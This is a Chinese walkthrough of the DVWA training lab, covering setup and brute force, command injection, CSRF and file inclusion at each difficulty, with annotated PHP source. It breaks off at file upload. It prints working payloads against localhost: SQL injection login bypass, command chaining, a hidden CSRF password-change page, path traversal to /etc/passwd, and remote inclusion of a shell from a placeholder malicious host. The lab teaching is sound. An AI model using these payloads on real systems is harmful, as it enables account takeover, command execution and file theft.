介绍

DVWA (Damn Vulnerable Web Application) 是一个故意设计为存在安全漏洞的 Web 应用程序。它是开源的(基于 PHP/MySQL),专为信息安全学习、测试和演示而开发。其核心目的是提供一个安全的环境,让安全从业者、学生或开发人员练习渗透测试技术和理解 Web 漏洞原理。

如何搭建

本章使用Windows环境下的phpstudy进行搭建

下载phpstudy:Windows版phpstudy下载 - 小皮面板(phpstudy)

下载DVWA:digininja/DVWA: Damn Vulnerable Web Application (DVWA)

将下载好的文件夹DVWA-2.5放在phpstudy_pro/WWW/目录下

B3FDCE5A-FBC2-4206-A5A5-29717704AC6F.png

在/www/dvwa-2.5/config下修改config.inc.php.dist文件

去掉后缀.dist改为config.inc.php并打开按照如下设置

A3B30186-51A5-40FF-B83F-AE0AAFFD007A.png

这里DB_USER如果不是root可能会出现报错

打开phpstudy设置网站,根目录选择dvwa文件夹路径

79CDB485-832C-4C16-9E13-0112D91BD228.png

随后来到数据库设置,创建dvwa数据库

D80105B1-2B4D-4E2F-8298-4353A9A6D06F.png

再来到首页启动apache FTP MySQL服务

41AFF975-FCFD-4D45-8E9E-B01AD9F65513.png

此时可以在浏览器访问http://localhost:6123/login.php进行登录

首次登录输入账号密码(admin password)

随后进入/setup.php 滑到最下面点击按钮

6E747456-6F6E-434D-AA1D-91A694F8E83A.png

创建成功后即可进入靶场

Setup Check是对应功能的情况,需要什么开什么就行

使用

本靶场分为low medium high impossible四种难度

暴力破解(Brute Force)

Low

条件:

允许无数次尝试,密码md5加密,用户没有加密

解法:

随便用一个字典,bp抓登录包后选集束炸弹(cluster bomb)同时爆破用户名和密码(一个用户名与所有密码配对后换下一个用户名)最后爆破出[admin password]

也可以用sql注入的万能钥匙只要知道用户名是admin即可(admin' or '1'='1 --+密码随便填)

关于BP如何抓本地包

很简单,正常我们访问地址为localhost:port,将localhost改为本地网络的IPV4地址即可(ipconfig查询)

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// 通过GET传输的未过滤用户名
$user = $_GET[ 'username' ]; // 暴露在URL和服务器日志中

//
$pass = $_GET[ 'password' ]; // 明文密码
$pass = md5( $pass ); // md5加密

// 危险的SQL查询构造:
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
// 直接拼接用户输入到SQL语句
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// 登录验证
if( $result && mysqli_num_rows( $result ) == 1 ) {
// 获取用户数据
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// 欢迎消息
echo "<p>Welcome to the password protected area {$user}</p>";
// 头像输出
echo "<img src=\"{$avatar}\" />";
}
else {
// 登录失败反馈
echo "<pre><br />Username and/or password incorrect.</pre>";
}

// 关闭数据库连接
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Medium

条件:

同Low难度,增添了请求失败后延迟2s,

解法:

同Low解法

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// 用户名处理
$user = $_GET[ 'username' ]; // 明文暴露在URL/日志
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// 密码处理:
$pass = $_GET[ 'password' ]; //密码明文泄露
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass ); // 使用MD5哈希

// 构造SQL查询:
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
// 执行查询
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// 登录验证(存在账户枚举风险)
if( $result && mysqli_num_rows( $result ) == 1 ) {
// 获取用户数据(未过滤输出)
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"]; //

// 欢迎消息
echo "<p>Welcome to the password protected area {$user}</p>";
// 头像输出
echo "<img src=\"{$avatar}\" />";
}
else {
// 登录失败处理
sleep( 2 ); // 不足以防止暴力破解
echo "<pre><br />Username and/or password incorrect.</pre>";
}

// 关闭数据库连接
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

High

条件:

添加了token验证 若登录失败会更新token信息放在响应包给到用户

解法:

同前面解法,只是需要在每一次爆破时提交最新的token

BP爆破选择交叉(pitchfork),payload1给到密码,payload2给到token值

然后找到设置里的提取功能(grep-extract).下面的重定向选择总是

e4678ed30ae022fd1680595510a44b30.png

点击添加->重新获取响应->找到回显的头token值选中->确认

7E54F408-F297-4EA2-8934-EC81501B6296.png

回到payload处

payload1选简单列表给上字典,payload2选择递归提取

84560268-D00B-4E60-BB62-C4750B4908EA.png

开始爆破,可以看到第一次请求发出后收到的回显中的新的token将会作为下一次发送请求时的token发出

40754735-32AB-433D-88E9-A626E46C5A93.png

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// 验证CSRF令牌(安全措施)
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// 用户名处理:
$user = $_GET[ 'username' ]; // 通过GET传输敏感信息
$user = stripslashes( $user ); // 已弃用的过滤方法
// 转义处理
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// 密码处理:
$pass = $_GET[ 'password' ]; // 密码明文暴露在URL中
$pass = stripslashes( $pass ); // 无实际安全作用
// 转义函数
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass ); // 使用MD5哈希

// 构造SQL查询:
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
// 执行查询(直接拼接用户输入)
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// 登录验证逻辑
if( $result && mysqli_num_rows( $result ) == 1 ) {
// 获取用户数据(存在信息泄露风险)
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// 欢迎消息
echo "<p>Welcome to the password protected area {$user}</p>";
// 头像输出
echo "<img src=\"{$avatar}\" />";
}
else {
// 登录失败处理(随机延迟防止暴力破解)
sleep( rand( 0, 3 ) ); // 防止基于响应时间的攻击
echo "<pre><br />Username and/or password incorrect.</pre>";
}

// 关闭数据库连接
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// 生成CSRF令牌
generateSessionToken();

?>

Impossible

防御手段:

请求延迟,token验证,登录次数限制

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// 验证CSRF令牌
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// 处理用户名输入
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// 处理密码输入
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// 设置登录失败限制
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;

// 查询用户登录失败记录
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

// 检查账户是否被锁定
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();

if( $timenow < $timeout ) {
$account_locked = true;
}
}

// 验证用户凭据
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

// 处理登录成功
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];

echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
echo "<img src=\"{$avatar}\" />";

if( $failed_login >= $total_failed_login ) {
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>{$last_login}</em>.</p>";
}

$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// 处理登录失败
sleep( rand( 2, 4 ) );

echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}

// 更新最后登录时间
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}

// 生成新的CSRF令牌
generateSessionToken();

?>

命令注入(Command Injection)

Low

条件:

允许命令执行并且无任何防御与过滤

解法:

直接拼接命令即可

1
2
3
4
127.0.0.1 &  ipconfig    先执行前面后执行后面
127.0.0.1 && ipconfig   先执行前面[成功]后才执行后面
127.0.0.1 | ipconfig    先执行前面后执行后面
127.0.0.1 || ipconfig  先执行前面[失败]后才执行后面

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// 获取用户输入
$target = $_REQUEST[ 'ip' ];

// 操作系统检测
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows系统
$cmd = shell_exec( 'ping ' . $target );
}
else {
// Linux/Unix系统
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// 输出命令结果
echo "<pre>{$cmd}</pre>";
}

?>

Medium

条件:

&&;会被改为空格

解法:

同上用其他三个即可

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// 获取用户输入的IP地址
$target = $_REQUEST[ 'ip' ];

// 设置命令注入过滤规则
$substitutions = array(
'&&' => '',
';' => '',
);

// 执行字符替换过滤
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// 检测操作系统类型
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// 执行Windows系统的ping命令
$cmd = shell_exec( 'ping ' . $target );
}
else {
// 执行Linux系统的ping命令
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// 显示命令执行结果
echo "<pre>{$cmd}</pre>";
}

?>

High

条件:

全ban了,但是管道符|没有被正确过滤,在源码处可以看到后面还有个空格

解法:

127.0.0.1|ipconfig

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// 获取用户输入
$target = trim($_REQUEST[ 'ip' ]);

// 设置命令注入黑名单(不足):
$substitutions = array(
'||' => '', // 仅移除连续管道符(可被绕过)
'&' => '', // 移除单个&(但%26未被检测)
';' => '', // 移除分号(但换行符\n仍可用)
'| ' => '', // 仅移除带空格的管道符(可去掉空格)
'-' => '', // 移除横杠(破坏合法IP)
'$' => '', // 移除美元符号(非关键注入字符)
'(' => '', // 移除左括号
')' => '', // 移除右括号
'`' => '', // 移除反引号(但单引号仍可用)
// 缺失关键过滤:%0a(换行)、%26(&)、#、\n、${}、<、> 等
);

$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// 操作系统检测
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
$cmd = shell_exec( 'ping ' . $target );
}
else {
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

echo "<pre>{$cmd}</pre>";
}

?>

Impossible

防御手段:

白名单限制(能白名决不黑名)

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// 验证CSRF令牌
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// 获取用户输入的IP地址
$target = $_REQUEST[ 'ip' ];
// 移除反斜杠
$target = stripslashes( $target );

// 将IP地址分割为四个部分
$octet = explode( ".", $target );

// 验证IP地址格式
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// 重新组合IP地址
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// 检测操作系统类型
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// 在Windows系统上执行ping命令
$cmd = shell_exec( 'ping ' . $target );
}
else {
// 在Linux/Unix系统上执行ping命令
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// 显示命令执行结果
echo "<pre>{$cmd}</pre>";
}
else {
// 显示IP地址格式错误消息
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}

// 生成新的CSRF令牌
generateSessionToken();

?>

跨站请求伪造(CSRF)

Low

条件:

无任何防御,输入两次新密码即可更改admin账户密码,并且参数以get传出

解法:

因为是CSRF专项,这里就让管理员访问恶意链接从而修改其密码

http://localhost:6123/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

这个是修改密码时的url,直接给到目标用户让其访问即可修改

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// 获取新密码输入
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// 检查新密码是否匹配
if( $pass_new == $pass_conf ) {
// 处理新密码
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// 获取当前用户
$current_user = dvwaCurrentUser();
// 构建SQL更新语句
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
// 执行SQL查询
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// 显示密码更改成功消息
echo "<pre>Password Changed.</pre>";
}
else {
// 显示密码不匹配消息
echo "<pre>Passwords did not match.</pre>";
}

// 关闭数据库连接
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Medium

条件:

添加Refere头验证

if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

解法:

先抓包看看怎么检测的

1
2
3
4
5
GET /vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change HTTP/1.1
Host: localhost:6123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36
Referer: http://localhost:6123/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change
Cookie: PHPSESSID=r987f8rtileuit5vlnko39uppn; security=medium

可以看到Referer处把URL复制了一遍

CSRF通常是让用户点击恶意链接,这个恶意链接显然是存放在黑客恶意搭建的钓鱼网站上,那么像Low那样的话就会在Referer头处被拦截

但是stripos只是很单纯的检测字符串内容,因此我们保证让用户点击的恶意链接有该关键字即可就可以绕过了

因此这里我创建了如下的html文件,放在localhost(检测的关键字)文件夹下,再打开,它就会访问该链接进行密码修改

而此时的Refere内容为:C:/Users/Nanian233/Desktop/localhost/hack.html

1
2
3
4
5
<img src="http://localhost:6123/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// 检查请求来源
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// 获取输入参数
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// 检查新密码和确认密码是否匹配
if( $pass_new == $pass_conf ) {
// 密码处理
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// 执行SQL更新
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// 显示密码更改成功
echo "<pre>Password Changed.</pre>";
}
else {
// 显示密码不匹配
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// 来源验证失败
echo "<pre>That request didn't look correct.</pre>";
}

// 关闭数据库连接
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

High

条件:

加入Anti-CSRF,用于token验证

解法:

抓包

1
2
3
4
5
GET /vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change&user_token=73ae8db05cadf48c3ce6240226634c5c HTTP/1.1
Host: localhost:6123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36
Referer: http://localhost:6123/vulnerabilities/csrf/
Cookie: PHPSESSID=r987f8rtileuit5vlnko39uppn; security=high

这题需要我们构造一个脚本来获取用户的token信息后再进行密码修改
脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<script type="text/javascript">
function attack()
{
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>

<iframe src="http://localhost:6123/vulnerabilities/csrf/" id="hack" border="0" style="display:none;">
</iframe>

<body onload="attack()">
<form method="GET" id="transfer" action="http://localhost:6123/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="123">
<input type="hidden" name="password_conf" value="123">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>

依然是放在我们的localhost文件夹下访问一次就可以执行成功

但是这题存在跨域问题

1
document.getElementById("hack").contentWindow.document

这行代码尝试访问iframe内部的document对象,但当iframe的源(http://localhost:6123)与父页面源不同时:

  • 源组成:协议(http) + 域名(localhost) + 端口(6123)
  • 浏览器会阻止这种跨域DOM访问,抛出安全异常

若是现实环境还得XSS来拿用户的token才行

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php

$change = false;
$request_type = "html";
$return_message = "Request Failed";

// 处理JSON格式的API请求
if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {
// 解析JSON输入数据
$data = json_decode(file_get_contents('php://input'), true);
$request_type = "json";
// 检查请求是否包含必要字段
if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&
array_key_exists("password_new", $data) &&
array_key_exists("password_conf", $data) &&
array_key_exists("Change", $data)) {
// 从HTTP头获取令牌
$token = $_SERVER['HTTP_USER_TOKEN'];
$pass_new = $data["password_new"];
$pass_conf = $data["password_conf"];
$change = true;
}
} else {
// 处理传统表单提交
if (array_key_exists("user_token", $_REQUEST) &&
array_key_exists("password_new", $_REQUEST) &&
array_key_exists("password_conf", $_REQUEST) &&
array_key_exists("Change", $_REQUEST)) {
// 从请求中获取令牌和密码
$token = $_REQUEST["user_token"];
$pass_new = $_REQUEST["password_new"];
$pass_conf = $_REQUEST["password_conf"];
$change = true;
}
}

if ($change) {
// 验证CSRF令牌
checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );

// 检查新密码是否匹配
if( $pass_new == $pass_conf ) {
// 处理新密码
$pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);
$pass_new = md5( $pass_new );

// 更新数据库中的密码
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert );

$return_message = "Password Changed.";
}
else {
// 密码不匹配
$return_message = "Passwords did not match.";
}

// 关闭数据库连接
mysqli_close($GLOBALS["___mysqli_ston"]);

// 根据请求类型返回响应
if ($request_type == "json") {
// 生成新的会话令牌
generateSessionToken();
header ("Content-Type: application/json");
// 返回JSON格式响应
print json_encode (array("Message" =>$return_message));
exit;
} else {
// 返回HTML格式响应
echo "<pre>" . $return_message . "</pre>";
}
}

// 生成新的CSRF令牌
generateSessionToken();

?>

Impossible

防御手段:

添加旧密码验证,需要用户先输入旧的密码.Anti-CSRF token验证

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// 验证CSRF令牌
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// 获取用户输入
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// 处理当前密码
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );

// 验证当前密码
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$current_user = dvwaCurrentUser();
$data->bindParam( ':user', $current_user, PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();

// 检查密码修改条件
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// 处理新密码
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// 更新数据库密码
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$current_user = dvwaCurrentUser();
$data->bindParam( ':user', $current_user, PDO::PARAM_STR );
$data->execute();

// 显示密码更改成功
echo "<pre>Password Changed.</pre>";
}
else {
// 显示密码不匹配或当前密码错误
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}

// 生成新的CSRF令牌
generateSessionToken();

?>

文件包含(File Inclusion)

如果显示函数allow_url_include未启用可以在小皮的软件管理找到自己的php版本点击设置把远程包含选项打开

835EF980-C942-4CB1-BD0A-1B1C056A1147.png

Low

条件:

无任何安全措施,URL参数包含文件?page=include.php

解法:

为了解题我在根目录下创建了flag,直接包含即可?page=../../flag.txt

题目源码:

1
2
3
4
5
6
7
8
9
<?php

// 直接使用未过滤的用户输入进行文件操作
$file = $_GET[ 'page' ];
// 严重安全缺陷:可导致任意文件包含(LFI)和远程文件包含(RFI)攻击
// 攻击示例:
// ?page=../../../../etc/passwd # 读取系统文件
// ?page=http://恶意站点/shell.txt # 远程执行代码
?>

Medium

条件:

替换关键字为空(具体看题目源码)

解法:

替换类型的可以采用双写绕过?page=htthttp://p://localhost:6123/flag.txt

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php

// 获取请求文件参数
$file = $_GET[ 'page' ];

// 不安全过滤(存在严重防护缺陷):
// 1. 仅替换"http://"和"https://"(可被大小写/变形绕过)
// 2. 替换部分路径遍历符号(无法防御编码攻击)
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );

?>

High

条件:

要求文件名必须是file*或者include.php

解法:

Medium的路径穿越又没办了可以用file../../../../flag.txt

也可以使用file协议file:///D:\phpstudy_pro\WWW\DVWA-2.5\flag.txt (windows环境用的反斜杠)

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

// 获取请求文件参数(高危:直接使用用户输入)
$file = $_GET[ 'page' ];

// 文件路径验证(危险的黑名单方式):
// 1. 允许file*模式的文件(易被绕过)
// 2. 允许include.php文件
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// 文件验证失败(存在黑名单绕过风险)
echo "ERROR: File not found!";
exit;
}

?>

Impossible

防御手段:

白名单

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

// 获取请求文件名(高危:直接使用未过滤的用户输入)
$file = $_GET[ 'page' ];

// 设置允许包含的文件白名单(安全措施)
$configFileNames = [
'include.php',
'file1.php',
'file2.php',
'file3.php',
];

// 白名单验证(防御路径遍历/LFI攻击)
if( !in_array($file, $configFileNames) ) {
// 非法文件请求(阻止目录穿越攻击)
echo "ERROR: File not found!";
exit;
}

?>

文件上传(File Upload)

Low

条件:

无防御允许任意文件上传

解法:

直接上传一句话木马,然后访问对应路径RCE即可

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// 设置文件上传目标路径
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
// 使用原始文件名构建完整路径
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

